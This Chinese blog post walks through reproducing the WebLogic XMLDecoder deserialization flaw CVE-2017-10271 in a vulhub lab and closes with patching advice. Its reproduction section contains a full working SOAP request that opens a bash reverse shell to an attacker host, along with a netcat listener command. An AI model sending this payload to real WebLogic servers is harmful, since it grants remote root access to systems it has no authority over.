Weblogic XMLDecoder反序列化漏洞(CVE-2017-10271)

Posted Son01

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Weblogic XMLDecoder反序列化漏洞(CVE-2017-10271)相关的知识,希望对你有一定的参考价值。

应用简介

WebLogic是由oracle公司开发的一个webserver,如同IIS,APACHE,webserver是用来构建网站的软件,用来解析发布网页等功能。WebLogic在国内的应用范围比较广泛,支撑着很多企业的核心任务。

漏洞概述

WebLogic WLS组件中存在CVE-2017-10271远程代码执行漏洞,可以构造请求对运行WebLogic中间件的主机进行攻击。漏洞在WLS-WebServices这个组件中,基于WLS wsat模块,核心就是XMLDecoder的反序列化漏洞,Java调用XMLDecoder解析XML文件的时候,存在命令执行漏洞。

影响版本

受影响的受支持版本是10.3.6.0.0、12.1.3.0.0、12.2.1.1.0和12.2.1.2.0。

XMLDecoder反序列漏洞简单介绍

XMLDecoder用于将XMLEncoder创建的xml文档内容反序列化为一个Java对象,其位于java.beans包下。

环境搭建

vulhub

漏洞复现

访问http://your-ip:7001/,看到一个404页面后,说明weblogic已经启动成功。

接下来使用burp构造poc:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/shell-ip/21  0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

在攻击机上使用nc进行监听:

nc -l -p 21

使用burp向靶机发送Poc,注意靶机的IP地址和端口以及攻击机的ip:

可以看到成功反弹shell得到root权限:

一开始使用了触发页面截取的数据包,没有复现成功,所以要注意Poc的构建。

漏洞修复

更新到最新版本

限制对访问wls-wsat资源的访问

参考链接:

https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271
https://blog.csdn.net/he_and/article/details/90582262
https://www.exploit-db.com/exploits/43458
https://blog.csdn.net/SKI_12/article/details/85058040

以上是关于Weblogic XMLDecoder反序列化漏洞(CVE-2017-10271)的主要内容,如果未能解决你的问题,请参考以下文章

Weblogic XMLDecoder反序列化漏洞(CVE-2017-10271)

CVE-2017-10271 XMLDecoder 反序列化

漏洞预警丨Oracle WebLogic XMLDecoder反序列化漏洞

Weblogic< 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271)

剖析xmlDecoder反序列化

XMLDecoder反序列化漏洞检测思考